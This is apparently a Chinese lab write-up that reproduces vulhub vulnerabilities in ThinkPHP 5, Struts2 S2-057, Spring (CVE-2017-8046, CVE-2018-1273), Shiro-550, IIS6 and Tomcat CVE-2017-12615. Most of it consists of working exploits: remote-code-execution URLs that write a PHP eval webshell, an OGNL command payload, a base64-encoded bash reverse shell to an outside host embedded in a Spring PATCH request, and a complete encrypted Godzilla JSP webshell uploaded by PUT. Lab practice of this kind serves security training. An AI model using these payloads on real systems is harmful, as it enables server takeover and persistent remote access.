常见框架漏洞

Thinkphp 之 5-rce

靶场 vulhub/thinkphp/5-rce

        漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖，通过覆盖类的核心属性filter导致rce，其攻击点较为多，有些还具有限制条件，另外由于种种部分原因，在利用上会出现一些问题。

远程命令执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

将php代码写入文件，并访问

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>

写入一个一句话木马

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[cmd]);?>

shell工具连接

struts2之s2-057

vulhub靶机

访问靶场

ip/struts2-showcase

输入以下url
http://1.92.134.1:8080/struts2-showcase/${(123+123)}/actionChain1.action
页面回显
http://1.92.134.1:8080/struts2-showcase/246/register2.action

把上面验证payload的值修改为我们的利用exp

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

然后经过url编码放入上方位置中即可看到代码被执行whoami

spring之CVE-2017-8046

靶场 spring/CVE-2017-8046

         服务器在处理PATCH请求时，攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器，通过构造好的JSON数据来执行任意Java代码

        打开环境后看到

访问customers，得到

{
  "_embedded" : {
    "customers" : [ {
      "firstname" : "Dave",
      "lastname" : "Matthews",
      "gender" : "MALE",
      "address" : {
        "street" : "4711 Some Place",
        "zipCode" : "54321",
        "city" : "Charlottesville",
        "state" : "VA"
      },
      "_links" : {
        "self" : {
          "href" : "http://1.92.134.1:8080/customers/1"
        },
        "customer" : {
          "href" : "http://1.92.134.1:8080/customers/1"
        }
      }
    } ]
  },
  "_links" : {
    "self" : {
      "href" : "http://1.92.134.1:8080/customers"
    },
    "profile" : {
      "href" : "http://1.92.134.1:8080/profile/customers"
    }
  }
}

可以利用代码块生成Ascii的命令

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

bash -i >& /dev/tcp/192.168.177.142/6666 0>&1
base64

反弹编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xNDIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

拼接payload
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xNDIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)


98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,78,121,52,120,78,68,73,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

访问customers/1 添加content-type 以及最后的payload访问即可

PATCH /customers/1 HTTP/1.1
Host: 192.168.177.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/json-patch+json
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 461

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,78,121,52,120,78,68,73,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

成功获得shell

spring之CVE-2018-1273

安装靶场 访问项目地址/users

填写信息bp抓包

写入poc

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

终端查看信息

docker exec -it 08d7538b367f /bin/bash

反弹shell改日再弹。

Shiro之rememberMe反序列化漏洞（Shiro-550）

vulhub靶场 /shiro/CVE-2016-4437

        使⽤BurpSuite进⾏抓包，在请求包中的cookie字段中添加rememberMe=123;，看响应包 header中是否返回 rememberMe=deleteMe值，若有，则证明该系统使⽤了Shiro框架：

使用工具进行攻击，手工，别搞笑了

https://github.com/j1anFen/shiro_attack

https://github.com/feihong-cs/ShiroExploit-Deprecated反弹shell工具

中间件系列

iis6.x篇

PUT漏洞复现

准备复现winser2003 开启webdav

开启写入

抓包查看支持协议，提交options

Tomcat之远程代码执行漏洞（CVE-2017-12615）

vulhub 靶机 /tomcat/CVE-2017-12615

访问靶机地址

bp抓包并修改提交方式为PUT 提交一个jsp木马，这里小编使用哥斯拉生成一个，然后提交连接

PUT /333.jsp/ HTTP/1.1
Host: 192.168.177.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2617

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

最后哥斯拉连接即可